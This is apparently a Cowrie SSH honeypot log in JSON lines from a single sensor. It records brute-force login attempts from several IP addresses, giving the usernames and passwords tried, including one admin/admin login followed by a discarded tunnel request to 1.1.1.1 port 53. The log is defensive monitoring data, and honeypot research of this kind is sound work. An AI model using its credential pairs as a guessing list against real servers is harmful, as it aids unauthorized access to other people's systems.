{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:56:44.423348Z","src_ip":"46.19.67.181","session":"db311c6a9bb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:56:44.539133Z","src_ip":"46.19.67.181","session":"db311c6a9bb5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sonya","message":"login attempt [root/sonya] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:56:44.891002Z","src_ip":"46.19.67.181","session":"db311c6a9bb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:56:46.012427Z","src_ip":"46.19.67.181","session":"db311c6a9bb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":22166,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ee950aef10b","protocol":"ssh","message":"New connection: 2.57.121.112:22166 (10.17.0.5:22) [session: 5ee950aef10b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:57:11.698540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:57:11.834284Z","src_ip":"2.57.121.112","session":"5ee950aef10b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:57:11.936612Z","src_ip":"2.57.121.112","session":"5ee950aef10b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"041283","message":"login attempt [admin/041283] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:57:12.442072Z","src_ip":"2.57.121.112","session":"5ee950aef10b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.226.190.225","src_port":40262,"dst_ip":"10.17.0.5","dst_port":22,"session":"54850d87a7a9","protocol":"ssh","message":"New connection: 87.226.190.225:40262 (10.17.0.5:22) [session: 54850d87a7a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:57:13.068447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:57:13.073187Z","src_ip":"87.226.190.225","session":"54850d87a7a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:57:13.240360Z","src_ip":"87.226.190.225","session":"54850d87a7a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"04121997","message":"login attempt [admin/04121997] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:57:13.550629Z","src_ip":"2.57.121.112","session":"5ee950aef10b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:57:13.936945Z","src_ip":"87.226.190.225","session":"54850d87a7a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"041190","message":"login attempt [admin/041190] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:57:14.659703Z","src_ip":"2.57.121.112","session":"5ee950aef10b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:57:15.108787Z","src_ip":"87.226.190.225","session":"54850d87a7a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"041185","message":"login attempt [admin/041185] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:57:15.768553Z","src_ip":"2.57.121.112","session":"5ee950aef10b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"041183","message":"login attempt [admin/041183] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:57:16.880501Z","src_ip":"2.57.121.112","session":"5ee950aef10b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:57:17.989605Z","src_ip":"2.57.121.112","session":"5ee950aef10b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.227.177.11","src_port":38460,"dst_ip":"10.17.0.5","dst_port":22,"session":"8781828bc7e2","protocol":"ssh","message":"New connection: 4.227.177.11:38460 (10.17.0.5:22) [session: 8781828bc7e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:57:22.518521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:57:22.523150Z","src_ip":"4.227.177.11","session":"8781828bc7e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:57:22.533902Z","src_ip":"4.227.177.11","session":"8781828bc7e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"1","message":"login attempt [bot/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:57:22.610672Z","src_ip":"4.227.177.11","session":"8781828bc7e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:57:23.624078Z","src_ip":"4.227.177.11","session":"8781828bc7e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":60132,"dst_ip":"159.203.135.109","dst_port":22,"session":"400042574212","protocol":"ssh","message":"New connection: 103.27.238.120:60132 (159.203.135.109:22) [session: 400042574212]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:57:56.140509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:57:56.145743Z","src_ip":"103.27.238.120","session":"400042574212","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":48394,"dst_ip":"159.203.135.109","dst_port":22,"session":"747eb6408e83","protocol":"ssh","message":"New connection: 103.27.238.116:48394 (159.203.135.109:22) [session: 747eb6408e83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:57:56.258577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:57:56.263748Z","src_ip":"103.27.238.116","session":"747eb6408e83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:57:56.429061Z","src_ip":"103.27.238.120","session":"400042574212","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:57:56.528468Z","src_ip":"103.27.238.116","session":"747eb6408e83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19621962","message":"login attempt [root/19621962] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:57:57.264210Z","src_ip":"103.27.238.120","session":"400042574212","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"23091991","message":"login attempt [root/23091991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:57:57.321118Z","src_ip":"103.27.238.116","session":"747eb6408e83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:57:58.545475Z","src_ip":"103.27.238.120","session":"400042574212","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:57:58.588628Z","src_ip":"103.27.238.116","session":"747eb6408e83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":4508,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7a8aa43e4c8","protocol":"ssh","message":"New connection: 87.251.64.176:4508 (10.17.0.5:22) [session: a7a8aa43e4c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:58:36.226486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:58:36.230968Z","src_ip":"87.251.64.176","session":"a7a8aa43e4c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:58:36.330047Z","src_ip":"87.251.64.176","session":"a7a8aa43e4c8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:58:36.618991Z","src_ip":"87.251.64.176","session":"a7a8aa43e4c8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:58:36.716898Z","session":"a7a8aa43e4c8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:58:36.814215Z","src_ip":"87.251.64.176","session":"a7a8aa43e4c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:58:36.912642Z","src_ip":"87.251.64.176","session":"a7a8aa43e4c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.227.177.11","src_port":47006,"dst_ip":"10.17.0.5","dst_port":22,"session":"8dad487e4bb7","protocol":"ssh","message":"New connection: 4.227.177.11:47006 (10.17.0.5:22) [session: 8dad487e4bb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:59:01.302772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:59:01.308078Z","src_ip":"4.227.177.11","session":"8dad487e4bb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:59:01.319570Z","src_ip":"4.227.177.11","session":"8dad487e4bb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"teamspeakroot","message":"login attempt [teamspeak/teamspeakroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:59:01.394712Z","src_ip":"4.227.177.11","session":"8dad487e4bb7","protocol":"ssh"}
